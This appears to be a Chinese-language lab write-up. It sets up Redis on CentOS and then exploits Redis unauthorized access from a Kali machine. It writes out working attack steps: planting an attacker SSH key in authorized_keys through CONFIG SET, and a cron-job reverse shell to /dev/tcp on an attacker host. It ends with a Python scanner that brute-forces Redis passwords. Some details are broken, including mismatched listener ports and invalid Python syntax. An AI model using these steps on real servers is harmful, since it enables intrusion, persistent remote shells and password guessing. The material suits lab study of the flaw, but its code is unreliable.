这里写自定义目录标题
Centos搭建redis
首先,搭建redis,进行安装.以下为安装步骤:
1下载安装包命令为wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2 tar xzvf redis-2.8.17.tar.gz #解压安装
3 cd redis-2.8.17 # 进入redis目录
4 make #编译
5 cd src/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd …
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
便可成功启动服务
Apache和php安装
稍后补充
redis未授权访问漏洞复现
在攻击机kail当中 输入命令redis-cli -h 192.168.33.132 -p 6379
会发现 无法连接,这里的原因是Centos的防火墙没关,关闭防火墙后,会是这个
到此,redis未授权漏洞复现完成
redis未授权访问利用getshell方式
1 写入ssh进行getshell
需要条件:知道启动服务的用户
拥有.ssh目录
允许使用基于密钥认证的方式登陆
执行命令ssh-keygen -t rsa
,得到应该写入的公钥
输入命令(echo -e “\n\n”; cat root.pub;echo -e “\n\n”) > 1.txt然后将生成的公钥保存在相应的txt文档中(相当于再公钥前端和后端都加入字符\n\n)
登录redis使用命令keys * 查看keys,然后config get dir 获取当前用户路径
set x +公钥写入
![(如果当前用户没有.ssh文件夹,执行ssh localhost就有了)
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh或者是/home/user/.ssh)
设置上传公钥的备份文件名字为authorized_keys:
执行命令sava然后进行ssh连接
成功ssh进行连接
(如果ssh无法连接 大概率是服务器端/etc/ssh/sshd_config配置文件不准密钥登录或者设置/home/wang/.ssh/authorized_keys为600权限)
利用定时任务进行反弹shell
再攻击机kail上面执行nc -lvnp 444进行监听
然后分别执行一下命令
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.33.129/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename wang
save
过一分钟便可收到shell
写入webshell方式进行连接
稍后补充
redis未授权访问的poc
#! /usr/bin/env python
import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“INFO\r\n”)
result = s.recv(1024)
if “redis_version” in result:
return u"未授权访问"
elif “Authentication” in result:
file = open(“passwd.txt”)
for passwd in file.readlines():
pass = passwd.strip(’\n’)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“AUTH %s\r\n” %(pass))
result = s.recv(1024)
if ‘+OK’ in result:
return u"存在弱口令,密码:%s" % (pass)
file.close()
except Exception, e:
pass
if name == ‘main’:
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)